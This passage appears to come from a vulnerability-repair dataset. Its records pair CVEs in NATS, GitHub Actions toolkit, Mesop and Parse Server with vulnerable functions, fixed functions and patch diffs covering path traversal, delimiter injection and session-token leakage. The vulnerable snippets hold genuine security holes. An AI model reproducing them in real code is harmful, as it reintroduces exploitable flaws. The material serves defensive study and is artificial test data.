{\n\t\t\t// skip if it can't be decoded\n\t\t} else if existingJWT.ID == newJWT.ID {\n\t\t\treturn nil\n\t\t} else if existingJWT.IssuedAt > newJWT.IssuedAt {\n\t\t\treturn nil\n\t\t}\n\t}\n\tstore.Lock()\n\tcb := store.changed\n\tchanged, err := store.write(path, publicKey, theJWT)\n\tstore.Unlock()\n\tif err != nil {\n\t\treturn err\n\t} else if changed && cb != nil {\n\t\tcb(publicKey)\n\t}\n\treturn nil\n}"}], "fix_func": [{"id": "fix_go_150_1", "commit": "64feb14", "file_path": "server/dirstore.go", "start_line": 315, "end_line": 334, "snippet": "func (store *DirJWTStore) Merge(pack string) error {\n\tnewJWTs := strings.Split(pack, \"\\n\")\n\tfor _, line := range newJWTs {\n\t\tif line == _EMPTY_ { // ignore blank lines\n\t\t\tcontinue\n\t\t}\n\t\tsplit := strings.Split(line, \"|\")\n\t\tif len(split) != 2 {\n\t\t\treturn fmt.Errorf(\"line in package didn't contain 2 entries: %q\", line)\n\t\t}\n\t\tpubKey := split[0]\n\t\tif !nkeys.IsValidPublicAccountKey(pubKey) {\n\t\t\treturn fmt.Errorf(\"key to merge is not a valid public account key\")\n\t\t}\n\t\tif err := store.saveIfNewer(pubKey, split[1]); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}"}, {"id": "fix_go_150_2", "commit": "64feb14", "file_path": "server/dirstore.go", "start_line": 374, "end_line": 388, "snippet": "func (store *DirJWTStore) pathForKey(publicKey string) string {\n\tif len(publicKey) < 2 {\n\t\treturn _EMPTY_\n\t}\n\tif !nkeys.IsValidPublicKey(publicKey) {\n\t\treturn _EMPTY_\n\t}\n\tfileName := fmt.Sprintf(\"%s%s\", publicKey, fileExtension)\n\tif store.shard {\n\t\tlast := publicKey[len(publicKey)-2:]\n\t\treturn filepath.Join(store.directory, last, fileName)\n\t} else {\n\t\treturn filepath.Join(store.directory, fileName)\n\t}\n}"}, {"id": "fix_go_150_3", "commit": "64feb14", "file_path": "server/dirstore.go", "start_line": 500, "end_line": 541, "snippet": "func (store *DirJWTStore) saveIfNewer(publicKey string, theJWT string) error {\n\tif store.readonly {\n\t\treturn fmt.Errorf(\"store is read-only\")\n\t}\n\tpath := store.pathForKey(publicKey)\n\tif path == _EMPTY_ {\n\t\treturn fmt.Errorf(\"invalid public key\")\n\t}\n\tdirPath := filepath.Dir(path)\n\tif _, err := validateDirPath(dirPath); err != nil {\n\t\tif err := os.MkdirAll(dirPath, defaultDirPerms); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\tif _, err := os.Stat(path); err == nil {\n\t\tif newJWT, err := jwt.DecodeGeneric(theJWT); err != nil {\n\t\t\treturn err\n\t\t} else if existing, err := ioutil.ReadFile(path); err != nil {\n\t\t\treturn err\n\t\t} else if existingJWT, err := jwt.DecodeGeneric(string(existing)); err != nil {\n\t\t\t// skip if it can't be decoded\n\t\t} else if existingJWT.ID == newJWT.ID {\n\t\t\treturn nil\n\t\t} else if existingJWT.IssuedAt > newJWT.IssuedAt {\n\t\t\treturn nil\n\t\t} else if newJWT.Subject != publicKey {\n\t\t\treturn fmt.Errorf(\"jwt subject nkey and provided nkey do not match\")\n\t\t} else if existingJWT.Subject != newJWT.Subject {\n\t\t\treturn fmt.Errorf(\"subject of existing and new jwt do not match\")\n\t\t}\n\t}\n\tstore.Lock()\n\tcb := store.changed\n\tchanged, err := store.write(path, publicKey, theJWT)\n\tstore.Unlock()\n\tif err != nil {\n\t\treturn err\n\t} else if changed && cb != nil {\n\t\tcb(publicKey)\n\t}\n\treturn nil\n}"}], "vul_patch": "--- a/server/dirstore.go\n+++ b/server/dirstore.go\n@@ -9,6 +9,9 @@\n \t\t\treturn fmt.Errorf(\"line in package didn't contain 2 entries: %q\", line)\n \t\t}\n \t\tpubKey := split[0]\n+\t\tif !nkeys.IsValidPublicAccountKey(pubKey) {\n+\t\t\treturn fmt.Errorf(\"key to merge is not a valid public account key\")\n+\t\t}\n \t\tif err := store.saveIfNewer(pubKey, split[1]); err != nil {\n \t\t\treturn err\n \t\t}\n\n--- a/server/dirstore.go\n+++ b/server/dirstore.go\n@@ -1,5 +1,8 @@\n func (store *DirJWTStore) pathForKey(publicKey string) string {\n \tif len(publicKey) < 2 {\n+\t\treturn _EMPTY_\n+\t}\n+\tif !nkeys.IsValidPublicKey(publicKey) {\n \t\treturn _EMPTY_\n \t}\n \tfileName := fmt.Sprintf(\"%s%s\", publicKey, fileExtension)\n\n--- a/server/dirstore.go\n+++ b/server/dirstore.go\n@@ -14,7 +14,7 @@\n \t}\n \tif _, err := os.Stat(path); err == nil {\n \t\tif newJWT, err := jwt.DecodeGeneric(theJWT); err != nil {\n-\t\t\t// skip if it can't be decoded\n+\t\t\treturn err\n \t\t} else if existing, err := ioutil.ReadFile(path); err != nil {\n \t\t\treturn err\n \t\t} else if existingJWT, err := jwt.DecodeGeneric(string(existing)); err != nil {\n@@ -23,6 +23,10 @@\n \t\t\treturn nil\n \t\t} else if existingJWT.IssuedAt > newJWT.IssuedAt {\n \t\t\treturn nil\n+\t\t} else if newJWT.Subject != publicKey {\n+\t\t\treturn fmt.Errorf(\"jwt subject nkey and provided nkey do not match\")\n+\t\t} else if existingJWT.Subject != newJWT.Subject {\n+\t\t\treturn fmt.Errorf(\"subject of existing and new jwt do not match\")\n \t\t}\n \t}\n \tstore.Lock()\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-35954", "cve_description": "The GitHub Actions ToolKit provides a set of packages to make creating actions easier. The `core.exportVariable` function uses a well known delimiter that attackers can use to break out of that specific variable and assign values to other arbitrary variables. Workflows that write untrusted values to the `GITHUB_ENV` file may cause the path or other environment variables to be modified without the intention of the workflow or action author. Users should upgrade to `@actions/core v1.9.1`. If you are unable to upgrade the `@actions/core` package, you can modify your action to ensure that any user input does not contain the delimiter `_GitHubActionsFileCommandDelimeter_` before calling `core.exportVariable`.", "cwe_info": {"CWE-74": {"name": "Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')", "description": "The product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component."}}, "repo": "https://github.com/actions/toolkit", "patch_url": ["https://github.com/actions/toolkit/commit/4beda9cbc00ba6eefe387a937c21087ccb8ee9df"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_134_1", "commit": "90be12a", "file_path": "packages/core/src/core.ts", "start_line": 83, "end_line": 95, "snippet": "export function exportVariable(name: string, val: any): void {\n  const convertedVal = toCommandValue(val)\n  process.env[name] = convertedVal\n\n  const filePath = process.env['GITHUB_ENV'] || ''\n  if (filePath) {\n    const delimiter = '_GitHubActionsFileCommandDelimeter_'\n    const commandValue = `${name}<<${delimiter}${os.EOL}${convertedVal}${os.EOL}${delimiter}`\n    issueFileCommand('ENV', commandValue)\n  } else {\n    issueCommand('set-env', {name}, convertedVal)\n  }\n}"}], "fix_func": [{"id": "fix_js_134_1", "commit": "4beda9c", "file_path": "packages/core/src/core.ts", "start_line": 84, "end_line": 106, "snippet": "export function exportVariable(name: string, val: any): void {\n  const convertedVal = toCommandValue(val)\n  process.env[name] = convertedVal\n\n  const filePath = process.env['GITHUB_ENV'] || ''\n  if (filePath) {\n    const delimiter = `ghadelimiter_${uuidv4()}`\n\n    // These should realistically never happen, but just in case someone finds a way to exploit uuid generation let's not allow keys or values that contain the delimiter.  \n    if (name.includes(delimiter)) {\n      throw new Error(`Unexpected input: name should not contain the delimiter \"${delimiter}\"`)\n    }\n\n    if (convertedVal.includes(delimiter)) {\n      throw new Error(`Unexpected input: value should not contain the delimiter \"${delimiter}\"`)\n    }\n\n    const commandValue = `${name}<<${delimiter}${os.EOL}${convertedVal}${os.EOL}${delimiter}`\n    issueFileCommand('ENV', commandValue)\n  } else {\n    issueCommand('set-env', {name}, convertedVal)\n  }\n}"}], "vul_patch": "--- a/packages/core/src/core.ts\n+++ b/packages/core/src/core.ts\n@@ -4,7 +4,17 @@\n \n   const filePath = process.env['GITHUB_ENV'] || ''\n   if (filePath) {\n-    const delimiter = '_GitHubActionsFileCommandDelimeter_'\n+    const delimiter = `ghadelimiter_${uuidv4()}`\n+\n+    // These should realistically never happen, but just in case someone finds a way to exploit uuid generation let's not allow keys or values that contain the delimiter.  \n+    if (name.includes(delimiter)) {\n+      throw new Error(`Unexpected input: name should not contain the delimiter \"${delimiter}\"`)\n+    }\n+\n+    if (convertedVal.includes(delimiter)) {\n+      throw new Error(`Unexpected input: value should not contain the delimiter \"${delimiter}\"`)\n+    }\n+\n     const commandValue = `${name}<<${delimiter}${os.EOL}${convertedVal}${os.EOL}${delimiter}`\n     issueFileCommand('ENV', commandValue)\n   } else {\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-45601", "cve_description": "Mesop is a Python-based UI framework designed for rapid web apps development. A vulnerability has been discovered and fixed in Mesop that could potentially allow unauthorized access to files on the server hosting the Mesop application. The vulnerability was related to insufficient input validation in a specific endpoint. This could have allowed an attacker to access files not intended to be served. Users are strongly advised to update to the latest version of Mesop immediately. The latest version includes a fix for this vulnerability. At time of publication 0.12.4 is the most recently available version of Mesop.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/google/mesop", "patch_url": ["https://github.com/google/mesop/commit/17fb769d6a91f0a8cbccfab18f64977b158a6a31"], "programing_language": "Python", "vul_func": [{"id": "vul_py_233_1", "commit": "6f021e8", "file_path": "mesop/server/static_file_serving.py", "start_line": 93, "end_line": 104, "snippet": "  def serve_web_components(path: str):\n    if not is_file_path(path):\n      raise MesopException(\"Unexpected request to \" + path)\n    serving_path = (\n      get_runfile_location(path)\n      if has_runfiles()\n      else os.path.join(os.getcwd(), path)\n    )\n    return send_file_compressed(\n      serving_path,\n      disable_gzip_cache=disable_gzip_cache,\n    )"}], "fix_func": [{"id": "fix_py_233_1", "commit": "17fb769", "file_path": "mesop/server/static_file_serving.py", "start_line": 93, "end_line": 115, "snippet": "  def serve_web_components(path: str):\n    if not is_file_path(path):\n      raise MesopException(\"Unexpected request to \" + path)\n    serving_path = (\n      get_runfile_location(path)\n      if has_runfiles()\n      else safe_join(os.getcwd(), path)\n    )\n\n    file_name = os.path.basename(path)\n    file_extension = os.path.splitext(file_name)[1].lower()\n    allowed_extensions = {\".js\", \".css\"}\n    if file_extension not in allowed_extensions:\n      raise MesopException(\n        f\"Unexpected file type: {file_extension}. Only {', '.join(allowed_extensions)} files are allowed.\"\n      )\n\n    if not serving_path:\n      raise MesopException(\"Unexpected request to \" + path)\n    return send_file_compressed(\n      serving_path,\n      disable_gzip_cache=disable_gzip_cache,\n    )"}], "vul_patch": "--- a/mesop/server/static_file_serving.py\n+++ b/mesop/server/static_file_serving.py\n@@ -4,8 +4,19 @@\n     serving_path = (\n       get_runfile_location(path)\n       if has_runfiles()\n-      else os.path.join(os.getcwd(), path)\n+      else safe_join(os.getcwd(), path)\n     )\n+\n+    file_name = os.path.basename(path)\n+    file_extension = os.path.splitext(file_name)[1].lower()\n+    allowed_extensions = {\".js\", \".css\"}\n+    if file_extension not in allowed_extensions:\n+      raise MesopException(\n+        f\"Unexpected file type: {file_extension}. Only {', '.join(allowed_extensions)} files are allowed.\"\n+      )\n+\n+    if not serving_path:\n+      raise MesopException(\"Unexpected request to \" + path)\n     return send_file_compressed(\n       serving_path,\n       disable_gzip_cache=disable_gzip_cache,\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-41109", "cve_description": "Parse Server is an open source backend that can be deployed to any infrastructure that can run Node.js. Prior to version 4.10.4, for regular (non-LiveQuery) queries, the session token is removed from the response, but for LiveQuery payloads it is currently not. If a user has a LiveQuery subscription on the `Parse.User` class, all session tokens created during user sign-ups will be broadcast as part of the LiveQuery payload. A patch in version 4.10.4 removes session tokens from the LiveQuery payload. As a workaround, set `user.acl(new Parse.ACL())` in a beforeSave trigger to make the user private already on sign-up.", "cwe_info": {"CWE-200": {"name": "Exposure of Sensitive Information to an Unauthorized Actor", "description": "The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information."}}, "repo": "https://github.com/parse-community/parse-server", "patch_url": ["https://github.com/parse-community/parse-server/commit/4ac4b7f71002ed4fbedbb901db1f6ed1e9ac5559"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_251_1", "commit": "6683cd9", "file_path": "src/LiveQuery/ParseLiveQueryServer.js", "start_line": 124, "end_line": 200, "snippet": "  _onAfterDelete(message: any): void {\n    logger.verbose(Parse.applicationId + 'afterDelete is triggered');\n\n    let deletedParseObject = message.currentParseObject.toJSON();\n    const classLevelPermissions = message.classLevelPermissions;\n    const className = deletedParseObject.className;\n    logger.verbose('ClassName: %j | ObjectId: %s', className, deletedParseObject.id);\n    logger.verbose('Current client number : %d', this.clients.size);\n\n    const classSubscriptions = this.subscriptions.get(className);\n    if (typeof classSubscriptions === 'undefined') {\n      logger.debug('Can not find subscriptions under this class ' + className);\n      return;\n    }\n    for (const subscription of classSubscriptions.values()) {\n      const isSubscriptionMatched = this._matchesSubscription(deletedParseObject, subscription);\n      if (!isSubscriptionMatched) {\n        continue;\n      }\n      for (const [clientId, requestIds] of _.entries(subscription.clientRequestIds)) {\n        const client = this.clients.get(clientId);\n        if (typeof client === 'undefined') {\n          continue;\n        }\n        for (const requestId of requestIds) {\n          const acl = message.currentParseObject.getACL();\n          // Check CLP\n          const op = this._getCLPOperation(subscription.query);\n          let res = {};\n          this._matchesCLP(classLevelPermissions, message.currentParseObject, client, requestId, op)\n            .then(() => {\n              // Check ACL\n              return this._matchesACL(acl, client, requestId);\n            })\n            .then(isMatched => {\n              if (!isMatched) {\n                return null;\n              }\n              res = {\n                event: 'delete',\n                sessionToken: client.sessionToken,\n                object: deletedParseObject,\n                clients: this.clients.size,\n                subscriptions: this.subscriptions.size,\n                useMasterKey: client.hasMasterKey,\n                installationId: client.installationId,\n                sendEvent: true,\n              };\n              return maybeRunAfterEventTrigger('afterEvent', className, res);\n            })\n            .then(() => {\n              if (!res.sendEvent) {\n                return;\n              }\n              if (res.object && typeof res.object.toJSON === 'function') {\n                deletedParseObject = res.object.toJSON();\n                deletedParseObject.className = className;\n              }\n              client.pushDelete(requestId, deletedParseObject);\n            })\n            .catch(error => {\n              Client.pushError(\n                client.parseWebSocket,\n                error.code || 141,\n                error.message || error,\n                false,\n                requestId\n              );\n              logger.error(\n                `Failed running afterLiveQueryEvent on class ${className} for event ${res.event} with session ${res.sessionToken} with:\\n Error: ` +\n                  JSON.stringify(error)\n              );\n            });\n        }\n      }\n    }\n  }"}, {"id": "vul_js_251_2", "commit": "6683cd9", "file_path": "src/LiveQuery/ParseLiveQueryServer.js", "start_line": 204, "end_line": 341, "snippet": "  _onAfterSave(message: any): void {\n    logger.verbose(Parse.applicationId + 'afterSave is triggered');\n\n    let originalParseObject = null;\n    if (message.originalParseObject) {\n      originalParseObject = message.originalParseObject.toJSON();\n    }\n    const classLevelPermissions = message.classLevelPermissions;\n    let currentParseObject = message.currentParseObject.toJSON();\n    const className = currentParseObject.className;\n    logger.verbose('ClassName: %s | ObjectId: %s', className, currentParseObject.id);\n    logger.verbose('Current client number : %d', this.clients.size);\n\n    const classSubscriptions = this.subscriptions.get(className);\n    if (typeof classSubscriptions === 'undefined') {\n      logger.debug('Can not find subscriptions under this class ' + className);\n      return;\n    }\n    for (const subscription of classSubscriptions.values()) {\n      const isOriginalSubscriptionMatched = this._matchesSubscription(\n        originalParseObject,\n        subscription\n      );\n      const isCurrentSubscriptionMatched = this._matchesSubscription(\n        currentParseObject,\n        subscription\n      );\n      for (const [clientId, requestIds] of _.entries(subscription.clientRequestIds)) {\n        const client = this.clients.get(clientId);\n        if (typeof client === 'undefined') {\n          continue;\n        }\n        for (const requestId of requestIds) {\n          // Set orignal ParseObject ACL checking promise, if the object does not match\n          // subscription, we do not need to check ACL\n          let originalACLCheckingPromise;\n          if (!isOriginalSubscriptionMatched) {\n            originalACLCheckingPromise = Promise.resolve(false);\n          } else {\n            let originalACL;\n            if (message.originalParseObject) {\n              originalACL = message.originalParseObject.getACL();\n            }\n            originalACLCheckingPromise = this._matchesACL(originalACL, client, requestId);\n          }\n          // Set current ParseObject ACL checking promise, if the object does not match\n          // subscription, we do not need to check ACL\n          let currentACLCheckingPromise;\n          let res = {};\n          if (!isCurrentSubscriptionMatched) {\n            currentACLCheckingPromise = Promise.resolve(false);\n          } else {\n            const currentACL = message.currentParseObject.getACL();\n            currentACLCheckingPromise = this._matchesACL(currentACL, client, requestId);\n          }\n          const op = this._getCLPOperation(subscription.query);\n          this._matchesCLP(classLevelPermissions, message.currentParseObject, client, requestId, op)\n            .then(() => {\n              return Promise.all([originalACLCheckingPromise, currentACLCheckingPromise]);\n            })\n            .then(([isOriginalMatched, isCurrentMatched]) => {\n              logger.verbose(\n                'Original %j | Current %j | Match: %s, %s, %s, %s | Query: %s',\n                originalParseObject,\n                currentParseObject,\n                isOriginalSubscriptionMatched,\n                isCurrentSubscriptionMatched,\n                isOriginalMatched,\n                isCurrentMatched,\n                subscription.hash\n              );\n              // Decide event type\n              let type;\n              if (isOriginalMatched && isCurrentMatched) {\n                type = 'update';\n              } else if (isOriginalMatched && !isCurrentMatched) {\n                type = 'leave';\n              } else if (!isOriginalMatched && isCurrentMatched) {\n                if (originalParseObject) {\n                  type = 'enter';\n                } else {\n                  type = 'create';\n                }\n              } else {\n                return null;\n              }\n              message.event = type;\n              res = {\n                event: type,\n                sessionToken: client.sessionToken,\n                object: currentParseObject,\n                original: originalParseObject,\n                clients: this.clients.size,\n                subscriptions: this.subscriptions.size,\n                useMasterKey: client.hasMasterKey,\n                installationId: client.installationId,\n                sendEvent: true,\n              };\n              return maybeRunAfterEventTrigger('afterEvent', className, res);\n            })\n            .then(\n              () => {\n                if (!res.sendEvent) {\n                  return;\n                }\n                if (res.object && typeof res.object.toJSON === 'function') {\n                  currentParseObject = res.object.toJSON();\n                  currentParseObject.className = res.object.className || className;\n                }\n\n                if (res.original && typeof res.original.toJSON === 'function') {\n                  originalParseObject = res.original.toJSON();\n                  originalParseObject.className = res.original.className || className;\n                }\n                const functionName =\n                  'push' + message.event.charAt(0).toUpperCase() + message.event.slice(1);\n                if (client[functionName]) {\n                  client[functionName](requestId, currentParseObject, originalParseObject);\n                }\n              },\n              error => {\n                Client.pushError(\n                  client.parseWebSocket,\n                  error.code || 141,\n                  error.message || error,\n                  false,\n                  requestId\n                );\n                logger.error(\n                  `Failed running afterLiveQueryEvent on class ${className} for event ${res.event} with session ${res.sessionToken} with:\\n Error: ` +\n                    JSON.stringify(error)\n                );\n              }\n            );\n        }\n      }\n    }\n  }"}], "fix_func": [{"id": "fix_js_251_1", "commit": "4ac4b7f71002ed4fbedbb901db1f6ed1e9ac5559", "file_path": "src/LiveQuery/ParseLiveQueryServer.js", "start_line": 124, "end_line": 208, "snippet": "  _onAfterDelete(message: any): void {\n    logger.verbose(Parse.applicationId + 'afterDelete is triggered');\n\n    let deletedParseObject = message.currentParseObject.toJSON();\n    const classLevelPermissions = message.classLevelPermissions;\n    const className = deletedParseObject.className;\n    logger.verbose('ClassName: %j | ObjectId: %s', className, deletedParseObject.id);\n    logger.verbose('Current client number : %d', this.clients.size);\n\n    const classSubscriptions = this.subscriptions.get(className);\n    if (typeof classSubscriptions === 'undefined') {\n      logger.debug('Can not find subscriptions under this class ' + className);\n      return;\n    }\n    for (const subscription of classSubscriptions.values()) {\n      const isSubscriptionMatched = this._matchesSubscription(deletedParseObject, subscription);\n      if (!isSubscriptionMatched) {\n        continue;\n      }\n      for (const [clientId, requestIds] of _.entries(subscription.clientRequestIds)) {\n        const client = this.clients.get(clientId);\n        if (typeof client === 'undefined') {\n          continue;\n        }\n        for (const requestId of requestIds) {\n          const acl = message.currentParseObject.getACL();\n          // Check CLP\n          const op = this._getCLPOperation(subscription.query);\n          let res = {};\n          this._matchesCLP(classLevelPermissions, message.currentParseObject, client, requestId, op)\n            .then(() => {\n              // Check ACL\n              return this._matchesACL(acl, client, requestId);\n            })\n            .then(isMatched => {\n              if (!isMatched) {\n                return null;\n              }\n              res = {\n                event: 'delete',\n                sessionToken: client.sessionToken,\n                object: deletedParseObject,\n                clients: this.clients.size,\n                subscriptions: this.subscriptions.size,\n                useMasterKey: client.hasMasterKey,\n                installationId: client.installationId,\n                sendEvent: true,\n              };\n              return maybeRunAfterEventTrigger('afterEvent', className, res);\n            })\n            .then(() => {\n              if (!res.sendEvent) {\n                return;\n              }\n              if (res.object && typeof res.object.toJSON === 'function') {\n                deletedParseObject = res.object.toJSON();\n                deletedParseObject.className = className;\n              }\n              if (\n                (deletedParseObject.className === '_User' ||\n                  deletedParseObject.className === '_Session') &&\n                !client.hasMasterKey\n              ) {\n                delete deletedParseObject.sessionToken;\n                delete deletedParseObject.authData;\n              }\n              client.pushDelete(requestId, deletedParseObject);\n            })\n            .catch(error => {\n              Client.pushError(\n                client.parseWebSocket,\n                error.code || 141,\n                error.message || error,\n                false,\n                requestId\n              );\n              logger.error(\n                `Failed running afterLiveQueryEvent on class ${className} for event ${res.event} with session ${res.sessionToken} with:\\n Error: ` +\n                  JSON.stringify(error)\n              );\n            });\n        }\n      }\n    }\n  }"}, {"id": "fix_js_251_2", "commit": "4ac4b7f71002ed4fbedbb901db1f6ed1e9ac5559", "file_path": "src/LiveQuery/ParseLiveQueryServer.js", "start_line": 212, "end_line": 359, "snippet": "  _onAfterSave(message: any): void {\n    logger.verbose(Parse.applicationId + 'afterSave is triggered');\n\n    let originalParseObject = null;\n    if (message.originalParseObject) {\n      originalParseObject = message.originalParseObject.toJSON();\n    }\n    const classLevelPermissions = message.classLevelPermissions;\n    let currentParseObject = message.currentParseObject.toJSON();\n    const className = currentParseObject.className;\n    logger.verbose('ClassName: %s | ObjectId: %s', className, currentParseObject.id);\n    logger.verbose('Current client number : %d', this.clients.size);\n\n    const classSubscriptions = this.subscriptions.get(className);\n    if (typeof classSubscriptions === 'undefined') {\n      logger.debug('Can not find subscriptions under this class ' + className);\n      return;\n    }\n    for (const subscription of classSubscriptions.values()) {\n      const isOriginalSubscriptionMatched = this._matchesSubscription(\n        originalParseObject,\n        subscription\n      );\n      const isCurrentSubscriptionMatched = this._matchesSubscription(\n        currentParseObject,\n        subscription\n      );\n      for (const [clientId, requestIds] of _.entries(subscription.clientRequestIds)) {\n        const client = this.clients.get(clientId);\n        if (typeof client === 'undefined') {\n          continue;\n        }\n        for (const requestId of requestIds) {\n          // Set orignal ParseObject ACL checking promise, if the object does not match\n          // subscription, we do not need to check ACL\n          let originalACLCheckingPromise;\n          if (!isOriginalSubscriptionMatched) {\n            originalACLCheckingPromise = Promise.resolve(false);\n          } else {\n            let originalACL;\n            if (message.originalParseObject) {\n              originalACL = message.originalParseObject.getACL();\n            }\n            originalACLCheckingPromise = this._matchesACL(originalACL, client, requestId);\n          }\n          // Set current ParseObject ACL checking promise, if the object does not match\n          // subscription, we do not need to check ACL\n          let currentACLCheckingPromise;\n          let res = {};\n          if (!isCurrentSubscriptionMatched) {\n            currentACLCheckingPromise = Promise.resolve(false);\n          } else {\n            const currentACL = message.currentParseObject.getACL();\n            currentACLCheckingPromise = this._matchesACL(currentACL, client, requestId);\n          }\n          const op = this._getCLPOperation(subscription.query);\n          this._matchesCLP(classLevelPermissions, message.currentParseObject, client, requestId, op)\n            .then(() => {\n              return Promise.all([originalACLCheckingPromise, currentACLCheckingPromise]);\n            })\n            .then(([isOriginalMatched, isCurrentMatched]) => {\n              logger.verbose(\n                'Original %j | Current %j | Match: %s, %s, %s, %s | Query: %s',\n                originalParseObject,\n                currentParseObject,\n                isOriginalSubscriptionMatched,\n                isCurrentSubscriptionMatched,\n                isOriginalMatched,\n                isCurrentMatched,\n                subscription.hash\n              );\n              // Decide event type\n              let type;\n              if (isOriginalMatched && isCurrentMatched) {\n                type = 'update';\n              } else if (isOriginalMatched && !isCurrentMatched) {\n                type = 'leave';\n              } else if (!isOriginalMatched && isCurrentMatched) {\n                if (originalParseObject) {\n                  type = 'enter';\n                } else {\n                  type = 'create';\n                }\n              } else {\n                return null;\n              }\n              message.event = type;\n              res = {\n                event: type,\n                sessionToken: client.sessionToken,\n                object: currentParseObject,\n                original: originalParseObject,\n                clients: this.clients.size,\n                subscriptions: this.subscriptions.size,\n                useMasterKey: client.hasMasterKey,\n                installationId: client.installationId,\n                sendEvent: true,\n              };\n              return maybeRunAfterEventTrigger('afterEvent', className, res);\n            })\n            .then(\n              () => {\n                if (!res.sendEvent) {\n                  return;\n                }\n                if (res.object && typeof res.object.toJSON === 'function') {\n                  currentParseObject = res.object.toJSON();\n                  currentParseObject.className = res.object.className || className;\n                }\n\n                if (res.original && typeof res.original.toJSON === 'function') {\n                  originalParseObject = res.original.toJSON();\n                  originalParseObject.className = res.original.className || className;\n                }\n                if (\n                  (currentParseObject.className === '_User' ||\n                    currentParseObject.className === '_Session') &&\n                  !client.hasMasterKey\n                ) {\n                  delete currentParseObject.sessionToken;\n                  delete originalParseObject?.sessionToken;\n                  delete currentParseObject.authData;\n                  delete originalParseObject?.authData;\n                }\n                const functionName =\n                  'push' + message.event.charAt(0).toUpperCase() + message.event.slice(1);\n                if (client[functionName]) {\n                  client[functionName](requestId, currentParseObject, originalParseObject);\n                }\n              },\n              error => {\n                Client.pushError(\n                  client.parseWebSocket,\n                  error.code || 141,\n                  error.message || error,\n                  false,\n                  requestId\n                );\n                logger.error(\n                  `Failed running afterLiveQueryEvent on class ${className} for event ${res.event} with session ${res.sessionToken} with:\\n Error: ` +\n                    JSON.stringify(error)\n                );\n              }\n            );\n        }\n      }\n    }\n  }"}, {"id": "fix_js_251_3", "commit": "4ac4b7f71002ed4fbedbb901db1f6ed1e9ac5559", "file_path": "spec/ParseLiveQuery.spec.js", "start_line": 931, "end_line": 976, "snippet": "  it('should strip out session token in LiveQuery', async () => {\n    await reconfigureServer({\n      liveQuery: { classNames: ['_User'] },\n      startLiveQueryServer: true,\n      verbose: false,\n      silent: true,\n    });\n\n    const user = new Parse.User();\n    user.setUsername('username');\n    user.setPassword('password');\n    user.set('foo', 'bar');\n\n    const query = new Parse.Query(Parse.User);\n    query.equalTo('foo', 'bar');\n    const subscription = await query.subscribe();\n\n    const events = ['create', 'update', 'enter', 'leave', 'delete'];\n    const response = (obj, prev) => {\n      expect(obj.get('sessionToken')).toBeUndefined();\n      expect(obj.sessionToken).toBeUndefined();\n      expect(prev?.sessionToken).toBeUndefined();\n      if (prev && prev.get) {\n        expect(prev.get('sessionToken')).toBeUndefined();\n      }\n    };\n    const calls = {};\n    for (const key of events) {\n      calls[key] = response;\n      spyOn(calls, key).and.callThrough();\n      subscription.on(key, calls[key]);\n    }\n    await user.signUp();\n    user.unset('foo');\n    await user.save();\n    user.set('foo', 'bar');\n    await user.save();\n    user.set('yolo', 'bar');\n    await user.save();\n    await user.destroy();\n    await new Promise(resolve => process.nextTick(resolve));\n    for (const key of events) {\n      expect(calls[key]).toHaveBeenCalled();\n    }\n  });\n"}, {"id": "fix_js_251_4", "commit": "4ac4b7f71002ed4fbedbb901db1f6ed1e9ac5559", "file_path": "spec/ParseUser.spec.js", "start_line": 3932, "end_line": 3976, "snippet": "  it('should strip out authdata in LiveQuery', async () => {\n    const provider = getMockFacebookProvider();\n    Parse.User._registerAuthenticationProvider(provider);\n\n    await reconfigureServer({\n      liveQuery: { classNames: ['_User'] },\n      startLiveQueryServer: true,\n      verbose: false,\n      silent: true,\n    });\n\n    const query = new Parse.Query(Parse.User);\n    query.doesNotExist('foo');\n    const subscription = await query.subscribe();\n\n    const events = ['create', 'update', 'enter', 'leave', 'delete'];\n    const response = (obj, prev) => {\n      expect(obj.get('authData')).toBeUndefined();\n      expect(obj.authData).toBeUndefined();\n      expect(prev?.authData).toBeUndefined();\n      if (prev && prev.get) {\n        expect(prev.get('authData')).toBeUndefined();\n      }\n    };\n    const calls = {};\n    for (const key of events) {\n      calls[key] = response;\n      spyOn(calls, key).and.callThrough();\n      subscription.on(key, calls[key]);\n    }\n    const user = await Parse.User._logInWith('facebook');\n\n    user.set('foo', 'bar');\n    await user.save();\n    user.unset('foo');\n    await user.save();\n    user.set('yolo', 'bar');\n    await user.save();\n    await user.destroy();\n    await new Promise(resolve => process.nextTick(resolve));\n    for (const key of events) {\n      expect(calls[key]).toHaveBeenCalled();\n    }\n  });\n"}], "vul_patch": "--- a/src/LiveQuery/ParseLiveQueryServer.js\n+++ b/src/LiveQuery/ParseLiveQueryServer.js\n@@ -56,6 +56,14 @@\n                 deletedParseObject = res.object.toJSON();\n                 deletedParseObject.className = className;\n               }\n+              if (\n+                (deletedParseObject.className === '_User' ||\n+                  deletedParseObject.className === '_Session') &&\n+                !client.hasMasterKey\n+              ) {\n+                delete deletedParseObject.sessionToken;\n+                delete deletedParseObject.authData;\n+              }\n               client.pushDelete(requestId, deletedParseObject);\n             })\n             .catch(error => {\n\n--- a/src/LiveQuery/ParseLiveQueryServer.js\n+++ b/src/LiveQuery/ParseLiveQueryServer.js\n@@ -112,6 +112,16 @@\n                   originalParseObject = res.original.toJSON();\n                   originalParseObject.className = res.original.className || className;\n                 }\n+                if (\n+                  (currentParseObject.className === '_User' ||\n+                    currentParseObject.className === '_Session') &&\n+                  !client.hasMasterKey\n+                ) {\n+                  delete 